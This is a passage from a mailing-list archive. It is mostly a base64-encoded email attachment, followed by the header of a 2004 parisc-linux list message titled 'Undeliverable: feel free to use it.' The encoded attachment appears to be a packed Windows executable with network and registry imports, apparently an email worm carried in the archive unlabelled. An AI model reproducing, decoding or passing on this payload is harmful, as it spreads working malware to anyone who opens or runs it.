23duPkr/X+L/atGu3FrW2WYL30By2DdTrrypxZ673n/P/////7JH6f+1MBzyvb2KwrrKMJOz
U6ajtCQFNtC6kwbXzSlX6P///95Uv2fZIy56ZrO4SmHEAhtoXZQrbyo3vgu0oT+00d9Owxvf
BVqN3y2eQUJDt4D//0RFRkdISUpLTE1OT1BRUlNUy1hZ/////1phYmNkZWZnaGlqa2xtbm9w
cXJzdHV2d3h5ejAxMjM0lth0/zU2Nzg5Ky8AAP/bO9Xv34r/7wNydW50aW1lIGVycm9yr1RM
T1PYTdWzUw0NCnNJTkcOay2WCgdPPhIRy9vtL1I2MDI4CC0gR2FibHRvl9obzmluaVJmaXoN
aGVhte18s3A3JzeZdD1Ct/22BHWoIHNwYWMjZndsfy67DdhpOGEGb243NhlInkJzdGQ1tVZ4
+3B1cit2aXILITN8se23pWMjIGMMbChfNLXtNoVfKmV4XC9YYSd77Qbc4l8xOffgbm5hcmVY
MXNvDzYZsK2Kc2MrOEYgRLi1JIFlZBlX3R6SbyM3bXVsrHRoCCP5tr9hL2xvY2sX5rbBVjRk
t2EuAn1ruLWiIXJtAHBAZ3JhbV4Iha0gSm02LzA5aIaWwk8QQSqFfK7RJywuKzjPQ/g+YXJn
dShzXzAyZmLbtmvBbm5ngm8FdDq0wlnrEWTmf00tYMY/vC05ZhVWaXOqQysrIFKcmPtuD0xp
YrRyeScKLRbG2fZwRQ4hEVDUOr7Xhl22AC4APOXgJUvC1DYsa2ydQ3etgh//eVOEA0dldKFA
x8ZMYUZBFnb8wmvb2Xt1cAATD1epZDqbLMALfGVzc2EnQm94MHOWZ40vOTMyLmQ+R8VcyYU5
M+YDU10DAAx6QBTPV9fpGsSp/KpjA9ykabqmzLwPrJyMaZqmG3wDbFxMPMxWmqYsHAxDqUGa
pukD3My8rNT//5ucW1NreU5ldC5jel1TeXN0ZW1zTXWapusunACUG5ADiIB4aZqmaXBsZFxU
pmmapkxEPDQsm6ZpmiQcFAwE/Kg0TdMs9Ozk2CBZNk3TFAwE/Kf4pmmapvDk3NTImqZpmsC4
tKyQeGm6pmlgRCg7EACmaZrtpgPEtKSQmqZpmnxkTDwoDDRNs2z4peC8nIDpNk3TZEwwFKUj
pE3TNJ0DzLCgiHg0TdM0XEAsGAzTNJ3b9KPfA8SslE3TNE2EfHRoXFg0TdM0SDAsHBhplk3T
DAT8ovDopmmapuDYzMS0mqZpmqiglIR4cGmapmloZFRMOJ1tmqYsJBgQomsA0zSd2V/0oQPc
1MRd0zRNrKiYjIQjfKbpmj9+QQB4aANYSNM0bJo0JByhK6GgmqZpOgO8rJiQeGmapmlwWEAk
HNM0y6YQ/J/s4MxN0zRNwLSclHx0NU3TNGRMMCAI0zSd2Tf4ngPIpIxN0zRNdGBQLBwUmqZZ
Nvyd5My4qGmapmmgmHhwZKZpmqZYUDwgBE3TNMvwnNi8rJBwNk3TNFxMOBT8m2maplno1MCk
jKZpmqZ0ZExAGE3TLJsA+Jr02My4NE3TNKiggHBc0zRN00w8JBwATdN0buSZYwOkjHhkNk3T
NFg8IBT4mNM0TecrA8y4lGhN0zRNYFBEODAcmmbZNAT8l+zMvGmapmm4qJCEaLdpmqZUOCQQ
9Jb7mqZpOgPc0MCooGmapmmUiHxwWLfp3KZENJZzAxD0lW+apmk6A8C0rKSUaZqmaYRwYEg4
pjPdpigIlauUA9yapmmazLSkiGxcaZqmaVRMREA0s2yapigcDPCT1E3TNE3AsKSQdGzpujM2
ZJP/TAc0AyyddZumHAz4kj+SO9DTNE3XB7gDpIx4YGPTNE1QOCQM+JHfpulMw5eRA7SYm6Zp
moRsTCgE8JBpmqZzewPIsJhssmmaplg8JAT0j03TNM3o2My8lHA2XdM0UCwUIwTgjs42TWcD
uKCIjndgM92m6wdIAzQQjieNA6ZpmqbErJB0SJvObZo8GPiMxwPYzIzTdN0Zz8QHwAO4sE3T
NE2onJCEfHA0TdM0bGhgWFDTNE3TSEA0KBxm2TRNFAwA+IvwmqZpmuDY0MCwqAeapmmckIwM
ezNf05mLA3DEb4sDpmmaplhQSEA4m6ZpmjAoIBgQCItpOtN0d4uKA+TYpmmapszEvLSsmqZp
mqSUjIR8dGmapmlsZFxUTKZpmqZEPDQoIDq3aZoYDAT8iW8D5OmapmnczMC4F7CmaZqmqKCY
lIyapmmagHhwaGBYDdLEaVCjTGSmabruCxNIA0RAPJqmaZo4NDAsKCRpmqZpIBwYFBCyaZqm
DAgEAPyINd80zfj08Ho6AAB5eNM0TdMHd3Z1dHNN0zRNcnFwb25tNE3TNGxramlo0zRN02dm
ZWRjkUdufi5waWYAAGNvbXNjcv/d/OdleGVpbmNlc3RtYWcQd29yZF+2W/7vZG9jG3ByaXZh
Y3lkC2F5ArEt3t1se3VzaRz/YUcIfoP9bmFrZWQyBzFPamW9FTT37htSDXJiYXaNoJsO13Ac
ZHZpgjHXCK13E25zrRS0QEw8e1Kz/2x3ZXoTYXVBdHJhbnNmZWfGboXgb3RoyVNpc5ttXPu9
5kmekZtydKVXrmvt2RthZkaNEGQr296wn29zZzInCDp01ri1b3doMkNpbA9zsTF0c9vr2ltf
YrsPdmtrF3j72msEFdOObyDOZvjvt2ZmV25ulXdlYmNhVTylYCu3zmFzbWgx9+5Yc38fmDQ1
ATM0MDML4SSUAksHeW8Vwu42bF9LF19ha2pvP4K7MMJzD2YcZHPDEto7fIUaW2d+B70KDQXn
F3OARG2n+F5rET95zIvLczi09k6/aw9eCBM7w8NWXXZoE29pD2Jp3VoznHJPQcQhYWJaYQS3
GHSQU3l56lpz3+Y7xndDcFBGBVvbRdjebISYX3AbEnNtG4YfG29kpmNs+XNtWOiSFTt3Km08
cG+hvcOsLVPzd0THILTXHnVtYkwwfdcrOOOzB2V3c49mNWN7h4Mqf8Jjbyxj/OaatvMIbGln
aHR/eFZGaIV0Z5fXb828d2hvC/m7B7Qcz+AmZkM9K1NmOLrX3pc5cMkL7vDgCjsrdEUHFhyx
TSRpcIMZ7nQxw7bNPQpzVm7oP95COwWfT+lrD97hFNv2Zhc638yCN6MZGQ2jFxW09r2hC0lD
Nty3tbaPcHx6Ry4TWTNsrWEgKcN9CHeBcCw0LSAnIMHp8FA6t2Qh7xFt9yDCHPaNtCBmIFch
MNsKBcSN/CFvcxCmV+4SQ2VtrGxdbGe+IAxsFiLZa2wVSc84K7BLeA9LHRMhG8LmWsGCGjUg
D8AKCVsb5ok2DFthPOSsPnsCduR23fs2ZdjGbWtBdQ/3dlLBT7sPIE9xdWlUOzIHcS4gUj5/
QSvLFYiCdVd7TO1WaK1uKKfQLFNlJ6299w7/7BpkUjqSTepqFIg/Y5KsdGv4PHNSeS1Mb090
tNMCuSEvX70T4SpvSGXhYIYWofSnKX9wsKxr7TxjLeNGPhcWsBfJCAxEE2RrEZqImi7nDBYj
Ya7G52v2fkE8twU5c3W/kQwL7ktIqCdHwTvQnWYXTBdUH7SZPjdCRmY6TVO7asl+7037gzxB
1xvfaoZWO1FEHJQ5MzM5ElqN2zIwuDxDC7MBsSy1F/ONA3k+apu7m0t2IGhhhXEg8fQNwd2K
c23BdVI/vTFmjFt5JNgh61rnoJur92YLwm+ikQYS0QB78+7FumbWN2RHQwI1SAFza5NxISc3
NosrYiR2+ST63isZj76HQHkDV4jgFs++ls/M1ZrhdEl5vgDUjubcljhu2X+jPR0OpGHZWgCz
EJqf8C9h3mdyYXA/G4P3TMTuNHfPSC/XXMSPcBysTSTjNGkXzIxwLBg0dCFlf1TkE45hOgQM
ojtnb+BFcLjNMfxgA5dgauBse5AgJgsIC4VmWXmSs5TgEsK3JLEDV3O1HxGYaJ28ZWNdZHQu
P+sskViYMxkRE+tlr0JrRrO/bBuTddJsNZdhqG1tF/Zcm0sXc+hwhXW0kSuQLT8TlZUKjUCe
wD86GNmD8D8Qbiz2hvXmB6CYU15ZM4xbxVNjZJENxsoTfj8XFoRS9lRBThM4F4Fl8EjO174v
xsAtILc/U7C5t4xkSEkTJmJJcNCOU2J1+RVnaw7ci2OgNCBRqjpaFJ4TwUAza2NlsZGhcj4X
s6EYj1MMm4/75h5vNj9bSKiwxUPWaz/vJCUlaF1r1NAkZxLpap2Qo8AyO1RjI7SQsN8hR1UD
dNBgoIEnf2+CwmFakivWjnMe6esKT0UQ381rC+7QY/YbN9+eELb2vQMXLxtjJxRjP0Jrwcc9
GT4hADstKZx79M4Ad1sgCMqLh4MRzzx8hc0hRGCsPg9GNNrbV7esSh1pFCdfd3u0sROozHgA
U314OBCeCcNhkXq2hGWRARc77GDA0Eqwxz440JVwDSChbUy5Cc/1wWWgV132QWvRKzyCHe1i
VyDXw8Vu3zY9WwIbFBKMPtcgU2TXqE3dzTw812kZHFo+ADsy4QLLYJmVi4hAoDBpxSZeCLRm
aABlJZL/YKC5iSMAPGJnORqegbcMeVtfrmdvGBpywQe2dmxs76RDL5dweXKjeyDFRzPYHB/5
ZNNMROCwRGZ1KMpIJLZDKq2jYzp1quFFwsXHnFtrzfBaxf6xk6HbBzFKHNVNd0NrWPcMYyNG
xTemLg/CXjUaedQT+ygG338t2yYue5SSbDEzY43gDgwrCAtUC04nFyPXcriTMY6OCRxfVoNl
+jQEXoxkl2hTYdti0Op0HzdnTyBsB1fAEdvOFuwpJPDMYWxdp+87tDAw8QhcG8oyPQ0ca0OX
QiErwkXXpKxHK1svqG8D6zgEiKcgjzqyeBJ0aSPvbkmRDphz2psZ+fbYo47bPD99AzA5NTi0
dfBtOAQ2OWdq21eBbmv0nYjUcEFH308DPE5Q0kcvOJtVIyLp62OdunJ1elvUeWwhJCkhZpMM
V5sb0i4zkJpjphi4GImtZ2YXFqDp1SEPYXHGabXOtddRt72BCHeSAqWFyJiSY4qVc2Q0I5QK
KbxmCwGby7VlGmFYHzNzxIUtzJrBzCdrEyXhMInIK4/wXAVcoxJuQAVpe+CbUj+GSbfmSALv
I4Cf34tCZFpKAGuyeK5lMWvuE/i0BAYeknGmbDpsA4sjazdhlhCjhZlIO/NgZHT0AHN3LjdL
WBk8eP8sDEy0ZEdeftiylNRjLF9eNzi1YTggkpV5YtuDriffLupkMEIuBHgHYkDZWyujKVnm
ebiCb+g8ktU2cmRXSLkCGGovaswqDLgFc7w3H3EghBejvVivyM4NYkBiWbwjLgya5JrRCusj
Yrg4PSjnqVcNBjYsC1vuG5bJAZkmT4t7DMOUgiGmOkINcMGfW/wMd1jCeVsz2bagwb1ZS8vJ
M2zoQhhgqQInbK4mYg35Q99ztjWJ2aljOi89NZuEgW8DJ5O6osuW6hdhwm5KAk2m2v4u77iG
UcKY44cO67BZbJghQyxgGRzEWrBukydMlWBo9qYXFGJgJ3FfewdSh8l7dP8lGLCVVXo7c8JU
eI8XZAkLm51iESAjupkZzGIv2gUrE5qGAKUIsX7BtmaCkftrieMjb10SZ8JzIe9txiU0i4S5
52lYAiOEAv/DAdbXWy6tADcwEkKyR/FJSNgsOADrXVwLFpM/W1NJ2qlZHBeHJBkMrnDY8nO4
Y0dDfzXM+t8sRPQhryA6LRdEiAHf+0a6BjC5UAdodUhJtyQOAbNmiKs84C2DY6pVKWMCIyhp
SbzntoQAS0c/AHMdqFOnB/qABIJRy0SnVyh4yxbSov+vSPA4kI9j1FcLTixhncv7wTQhRo9P
AeFCiGzE7yBUaBwgxhOLaeLCOvAyRyUA7vBokRdeXGEiK9kSZjzbUnfwQTAmd2O4SRjIzZiE
HkqXk8DQE89N5e0EwqSJPhNJUQh2OKzLYZCsBe0wsg/LiSiDia7gB0nTKjjRHp1QbnQqIbSy
aPN3R68lXQK8GBoAk2XvELIvc2s2MLxDsh9uEFYkoYOt5Wy1LjAb9mBYfxuvT2NlQRcYb4MT
FwHBLVhi3WCoFY8HnRtudY5wDgwAKgpsKoshhCznQV9CdK0QXblYcqWy2voWG3OgaMwEb0lD
P2kSE3gBw9GRwVP0Ctdizxdxq42VEMJjp5NQLWJlopcFp0pbpJx7IiMGf7xwhkALEj/Ljzur
CSfUT+tTXl69qFfjrx+2h82iUBA8RERppg50wCBvaItmxw10iCErH0knbTkPnIpUY2RxI27/
L9B7IA/eUmU6IDw1NjY0ZGTx3qVbdz8krKcynkdTW6Qkh4PUac4ZcmfvUXXwE2J+ijHb3Itn
R9NSAAuhUrAkNw8u39BhzxGkLi95BlIEivOlV2aTXBB+E3EvBQlzwAMAcr8QYRmvQ/57aKEO
PTpO2SQHZqJZDPpXKChYMrpwSJezxCTeMrcLJ7UTlOA/FucV2KyYjRNhVqY7yUQzqi2rnzsQ
hhALB1npIRasWCvPixdmL1bG10ZXmukwEDMvZ757bgnPDgBxi0NnBxgOSm1Ta0YgGuNIUCDg
HwBU9jlMbK1TYHczrg9XAwxGO0znd6a+Y4f6U0UgVdwaVWyUS0YdttFxbm4rUwy2dxKHnqJ0
RXJm4OBWzx1JRTEuMXDQYFszVq+CcDRPUH8b7LgLRJFYIDcuMCALS9XsXBQqQSIgvb2z2DEy
OhNDoKkmIFdmrnFHTCBBcrPLGwCwTarl5nX0ZAvRwU4FQ85BQ0QB7WEdUjmvTVMnHGxXinaJ
IyA1GENsLA12VytEVkQRTVNpDa3QSmFZu1E3ddpoyW4SIDTz5opPbS3YVxpEOBRM9mmOdd0Y
oG05Y3AwGUdpYXso/MkuNXMFdyJoQCAjwdk0Tv9Bi1UN+yAyMDBkLhLXZqprU3BjCYcuvia2
CTMcgY8gPggHuxD7cHozM0QDDutubb27M2SKeLMxDnCq21ow+XiC3VH4xhKmU0ZDIELGyWLP
CgOlRWTJcKFjhAqjsGE5RemvbWtRY8MtKXIzRRO7ZCOvIEx1aMbLDDSiQkvHWFCxrCZrxEKu
K0xIOWoCQGlU2F6Ultp/I8Boy55Idr9/bjNVIVky3kUtTgPIrQAGwlLQaTHCBx9PE0Fot05Y
Nw9wCcMb6D8hbS4ZOgKwoDNNU2NMRmOmEnkjOlNxMOiZei50HzbbwGgYwvyvM2tclXBtWAC4
z7drh30Muy5qcGdvRBexDJ9rhZZPbFAnYNpG1o5xAEK+YcoWwL7peB1BELiIhWNitrnZtGFL
amMfGzBzk/EqT8HvVEEWGUDsQ5QxNo83sWzCssuhxTHKrmA3iGZiovCoQn0LLev7Co1UDaBr
v2GxgMY78CcgIzXitRIU8/MgL0St1pbedQi831XLRcgaCyZKEMzFKJvwL4IWDWhj1y0Bi9fR
TN0rSmJuyBNsZMQZbCdrLmRgi1CyVmx+hLqNIbbEKEB5Z+4GA8Nj3CkwW0xhP97oJS5Sei34
XU15VS5GF5HoRWrdm9sz8IBJr14CPMILsYggIbhWIHa3WmtnhpdoPhxCAQKSFPC3D4JFPl+T
ZGh0bWdpD+zNngMIB+sXByZHHvlkYnh0YmJhZMhBjjn4F3dhc3A89pjBdWvxB3Zic/cZrItm
bAcAcGwDYgGOWWgzvBfu33P3IgdbXS1AC18tXC/DbTValzIuNHggsjjezbZjKzk1DDgDCwAx
NTFu7FJpOSczNS8zFzc21m0TNzM5LzMfMkTaVnAlEi8QBzUT3LbD3lUxNzEfNC80XzQyhe2c
iyciUDQAD72QDMkzMk529sGbTwNeML83DbDLZs0yNp8PMi/d1t435DIfHU45IjOe29qwN++3
AjJmkfcuZMB/MDLuX92y77nv4yI2D/M3nq67sDAfN9E2DjU1csUp55A/Mvux1vh/J1VEUAAl
cywgJeUGBd5zyW4ndToEFAYDgen10Cu4K0tDdBUosTt2R5ajcF1rowB7XkoJA27NlVoHt3kP
qgcDaQuW7UZlYhNhUzNGG+uJzUTvRFf3dctvCnCubxcvMVFVSVR75W97BwMuBgAtLQgFmX6z
7i10Ig4HQ2/BaDAYtQIt3S0QNUcNGGnCOlHTVKrLGjIiRBIuI8ag3kk6FTuxDw7YIQlPBD0i
Y7D1xA5TWHlfOtN7AF+SL/QuwThItCbzdC0ULTFi7UVmWYw3YnhaQBCs+r9Ud8Oq1ooFyU52
E2rxV2pNSU3n5gZo8bAuj1gtKZLbulqBLVLAV3lTTiG5ARvsbCBYGDMR4IuFzI7Da2ov4tVX
WJJ4dchiwi/cXWdG9y0APV9O5zk4P92FX+AzdQQ0OFguKYLrd3+ZLVbTREEwdG1sMHtEp18A
vxDb3iPYCuNvBsXCXsvn1QmLtdYg1SRsuC9bGOFtNaIXQeVtlIjaPsgGADN4LXrKLctmhq7J
cjbMN99f97kuHAdcA1+fQVRBqFKB21z9Q1BUIFRPTAs+EIu9xRLtTDdST00RtGY4+3xIRUxP
RUgHc+dHWkIGOCouugP0amwTsAhIT8znFjgCrFxDq3KutaOH3bb0bCR0XChcVyoYaA9gUEgr
c4JNBg+zXPBcViE4CMM/XlxFZXCm30S4clxQSU5GV1UrmLU75U9MRZdWv1ILnUQgZFp1FQqN
m1vvx0VUQapvsR4p83N2crd7T0ZUDYJV8ldBUkWFW0W6Ybvfc7BL/y8dEmxB60NMU0lEXHtF
NkZCSwXa1jVFrC1zigcxpe0W/0NGLTlDODctiEFBAzUY94CG/jdFRH1cSW5cYymKDYrFsNkP
YBF26qZt+0lDUSmj8KAGbj/4e1nd2ldrdyhXZ28LRS/UPmpma29AMkB5YeJlD6IAmQA+QEGa
7incAQMWAmmaZrADBwQYBQ2kaZqmBgkHDAiQwQYZCQobCw32vRdXOwcPVxD5gnSDExEDEhch
ZJDBBjUPQUOwwQYbUDNSF1MHwQYbbFdfWXtsFyBN033qIKtwHHKDDfa9xy+As4EHggw2yGAf
g4SPkQ0ySNMpnqGkNtggg2+nt5/OH9DkIAzXCxgHjuw9A3kDlQEo5AGQSSBIABBCBpCJhBCG
QAZkgQEQQAZkQIICqsxNhhC/APs06a4BBy5fwAsXQAbpBh0LBJYGZJBmjQiOj0AGZECQkWlA
BmSSkwOvTZYKBgo3jI7kZeEMowAFkxkCbLqRm9tEaEAYBwnsZ9M0TbMKyBCcEU3TNE1sEkgT
HBiaplk25GYZvBqEaZqmaRtMHCR4smuaphR5BHpH9GVed5bN/Jir/w/4wNh3Yx9DAgTSpA9g
gnmCIa+/nzw7pt8HoaWBn+D8L0B+I4w3z4D8qMGj2qOPBDbI2YH+B0C1L/zfDTJBtl/PouSi
GgDlouiiW7v7fIV+of5RBQPaXtpfjv5Kfl/aatoy09je4Pn7RWEVtH45gyAyCBCVQBTIggqg
AgkUQAUyKIAKZFEAFcghqiiwA0MELJvEGFABFqpmKAC0CYkKXCGxCChqOwFAMw9XRHVmor4a
bPfJdmueB25BJEdTaXoWUc1mbUNyPCIZawTAGAhUPg6wVNUXCFrGSYBvCQCzF0wCOFugo2wl
XwIBfIcOB2NPzBQBsRAeJse2AmBNmWxdTmGeEFWwbWELRGmzm6sAlFR5QZsogNbeY3AJOwu6
wTbXq5dDeZVGMENmiurNWgrgGdtlrVv4cj2/RPF2dZ0pqmVtDlO/aGLBiuqcVyG62YSogxkk
bNZ+b9lvcEIFHkV4KHxDOzbsZGUfeUhhaEQAzKKCjkAwhBcIO2378F7gfC1jazt1XArm7W8N
TENNYXBT1mluZy6zCVXQSiUpRXVHVExBZGSwsR8z+g9PRU1DUAlBBzeLHVoGcwpG1KCqC9lX
D0xN91a4bRNCeYNUb1m2Q2hhmVsrtFtImHBSHUxlDFYHi1QFXQ1SdDi2ufZsVW53P9oHaNdk
RcMQLAAdRzez2XbYMkafZUzqS8aGZwtEZa5veUiIK4cw2JdkKFMKFRyCMA5YhD1LRqTAc1cX
zZJtLhaqYrEMhF3Zm4sFMEEYCBNmbmG5zZaB0ZpLG8mg/PC92YyuuBHSYbrb7NAJcIoQz21t
H0yTogrWQCHLEOHwaAs41tKCsxfsJ74KvFQZyU6q1WUmjhSGkGwSxM5OmqUk2erRAGdm6h7P
tEtlSQ5PawyYXThLG1YtdWUQxgyx970rDJQaRWhjdzuuAN5RiFEAg04CLbWuAgNQdaVzCvhO
sxrrLIdMVyKALuBCLVCztYYltXA5dAoj9kdoX084SWluQBtubp/hQAGpNbUCy7JttgEjQP9z
AgQWECzLsiwTDAk3D7Isy7I0FxUUEVYQLMtvAwvd/4f8P1BFAABMAQQA0kg74AAPAgsBAjgA
VlRHllBOBDsRzJ21yRBxCwIXM/fIbhYHDKABZ00BHks2sLM0EAcGA3xXsRw4aYxlkAEACAUK
e1eAYFIed7aS6y5QM98KkMTmwr7rBEUgLnK6Z3MAQSOKYCcSxLoLaVRAAi4mlHQnLyP8AwE2
J2a6L2b+wC5yc3Jj66AGT5z82dxKG2Zr4ZQBAAAAAAAAABIA/wAAAAAAAAAAAAAAYL4VYEEA
jb7rr/7/V4PN/+sQkJCQkJCQigZGiAdHAdt1B4seg+78Edty7bgBAAAAAdt1B4seg+78EdsR
wAHbc+91CYseg+78Edtz5DHJg+gDcg3B4AiKBkaD8P90dInFAdt1B4seg+78EdsRyQHbdQeL
HoPu/BHbEcl1IEEB23UHix6D7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQv
g/38dg+KAkKIB0dJdffpY////5CLAoPCBIkHg8cEg+kEd/EBz+lM////Xon3uUkBAACKB0cs
6DwBd/eAPwV18osHil8EZsHoCMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AJABAIsHCcB0RYtf
BI2EMBC1AQAB81CDxwj/lpy1AQCVigdHCMB03In5eQcPtwdHUEe5V0jyrlX/lqC1AQAJwHQH
iQODwwTr2P+WpLUBAGHpx4j+/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIA
AwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAA
AAAAAAAAAAABAAcEAABYAAAA1MABAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA
gAAAAMDDAQAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZQAAAKgAAIAAAAAAAAAAAAAA
AAAAAAEABwQAAMAAAADsxAEAIgAAAAAAAAAAAAAA0JABACgAAAAgAAAAQAAAAAEABAAAAAAA
gAIAAAAAAAAAAAAAAAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8A
AAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVV
VVVVVVUlIiIiI0REREREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRS
UiIiI0RERERERJVERElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SI
iIiIiERJVElUUlIiIiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERE
RJlUUlIiIiNEiIiIiIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIi
IiNERERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIi
IkSIiIiIRFJSIiIjRDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERE
RFJSIiIjRDIid3JEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIj
RDRCZmJERERERERSUiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQk
QkQkQkQyUiIiI0JEJEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIi
IiLgAAAP4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAf4AAAP/////7iTAQAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/
AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AA
APRE95+fcAAA////eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERP
cAAA//////9wAAD//////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAOCU
AQAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADUxQEA
nMUBAAAAAAAAAAAAAAAAAOHFAQCsxQEAAAAAAAAAAAAAAAAA7sUBALTFAQAAAAAAAAAAAAAA
AAD7xQEAvMUBAAAAAAAAAAAAAAAAAAbGAQDExQEAAAAAAAAAAAAAAAAAEsYBAMzFAQAAAAAA
AAAAAAAAAAAAAAAAAAAAABzGAQAqxgEAOsYBAAAAAABIxgEAAAAAAFbGAQAAAAAAaMYBAAAA
AAB0xgEAAAAAAAsAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABpcGhscGFwaS5k
bGwAVVNFUjMyLmRsbABXSU5JTkVULmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdl
dFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAR2V0TmV0d29ya1Bh
cmFtcwAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==


------=_NextPart_000_0009_000013E1.000031FC--




From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: System Administrator <postmaster@npitaly.np.ge.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable: feel free to use it.
Date: Mon, 8 Mar 2004 06:51:56 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <D3E302806FDFD01189A900805FBE72CE114693B9@msxitfi01npge.og.ge.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C404D1.76E34BA0"
X-Trace: ger.gmane.org 1416623246 6355 80.91.229.3 (22 Nov 2014 02:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: MAILER-DAEMON  Sun Mar  7 23:00:52 2004
Return-Path: <>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ext-ch1gw-3.online-age.net (ext-ch1gw-3.online-age.net
	[216.34.191.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74A204840
	for <parisc-linux@parisc-linux.org>;
	Sun,  7 Mar 2004 23:00:52 -0700 (MST)
Original-Received: from int-ch1gw-1.online-age.net (int-ch1gw-1 [3.159.232.65])
	by ext-ch1gw-3.online-age.net (8.12.9/8.12.9/990426-RLH) with ESMTP id
	i2860nGi013507 for <parisc-linux@parisc-linux.org>;
	Mon, 8 Mar 2004 01:00:50 -0500 (EST)
Original-Received: from bhsitfi01npge.np.ge.com (localhost [127.0.0.1])
	by int-ch1gw-1.online-age.net (8.12.9/8.12.3/990426-RLH) with ESMTP id
	i2860jcV027124 for <parisc-linux@parisc-linux.org>;
	Mon, 8 Mar 2004 01:00:47 -0500 (EST)
Original-Received: by bhsitfi01npge.np.ge.com with Internet Mail Service (5.5.2657.72)
	id <GCLSDYTA>; Mon, 8 Mar 2004 06:51:56 +0100
X-Mailer: Internet Mail Service (5.5.2657.72)
X-MS-Embedded-Report: 
